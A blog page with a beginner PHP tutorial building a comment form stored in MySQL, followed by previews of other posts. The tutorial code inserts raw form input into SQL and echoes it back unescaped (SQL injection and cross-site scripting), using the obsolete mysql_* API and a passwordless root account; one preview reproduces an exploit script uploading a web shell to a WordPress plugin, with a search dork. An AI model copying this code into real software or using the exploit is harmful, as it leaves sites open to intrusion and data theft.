Skip to main content

Create Simple Form Using PHP

Now, writter invite you to study hoe to create Simple Fom PHP.
Form example, we will a Comment Form, in the Comment Form, user will insert a name, email, and comment. For easy on this project, we will devide into 3 parts of pages, the pages is  comment_form.html, process.php, view.php, and connection.php.

Before you create that pages, writter suggest to create a Database first. 
Okay, the name of Database who created by writter is blog and the name of table is guest. Tha guest table are having 4 Field, there are id_guest, name, email, and comment. For detail of Fields, look at Below


After you create a Database, Table, and Field. Now, you create a connection.php page. That script like at below
<?
$hostname = "localhost";
$username = "root";
$password = "";
$dbname = "blog";

mysql_connect($hostname,$username,$password) or die ("Error connection...");

mysql_select_db($dbname);
?> 
And than, you create a comment_form.html page. That script like at below


<html>
<head>
<title>Comment Form</title>
</head>
<body>
<h1>Comment Form</h1>
<br>
<form method="post" action="process.php">
<table border="0" width="400">
<tr>
<td width="100">Name</td>
<td width="2">:</td>
<td width="298"><input type="text" name="name_guest" size="30"></td>
</tr>
<tr>
<td>Email</td>
<td>:</td>
<td><input type="text" name="email_guest" size="30"></td>
</tr>
<tr>
<td>Comment</td>
<td>:</td>
<td><textarea name="comment_guest" cols="24" rows="5"></textarea></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><input type="submit" name="send" value="Comment">&nbsp;<input type="reset" name="reset" value="Reset"></td>
</tr>
</table>
</form>
<br>
</body>
</html>


Than, you can create a process.php page. That script look at below
<?php
require("connection.php");
$name_guest = $_POST['name_guest'];
$email_guest = $_POST['email_guest'];
$comment = $_POST['comment_guest'];
$sql = "insert into guest(id_guest,name,email,comment) values ('','$name_guest','$email_guest','$comment')";
mysql_query($sql) or die ("error SQL query...!!!");
?>
<h3>Your Comment is Successfully....</h3>

And the last page is vew.php. Look at below


<html>
<head>
<title>View Comment</title>
</head>
<body>
<h2>View Comment</h2>
<?php
require("connection.php");
$sql = "select * from guest";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{
$name = $row['name'];
$email = $row['email'];
$comment = $row['comment'];
echo "Name : <b>$name</b><br>";
echo "Email : <b>$email</b><br>";
echo "Comment : <b>$comment</b><br>";
echo "<hr>";
}
?>
</body>
</html>


Finish, if you want to try it,

First, open the comment_form.html page. And complate the form, look at below


Second, Klik Comment,  if successfully, the this display like at below


Third, view all comment was inserted with open the view.php page. Look at below...

Okay, finish...
if you have any problems, you can leave your ask into comment at below.

Happy Paper 4Share !!!

Comments

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How to Install CloudSim in Ubuntu (in 3 easy steps)

The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...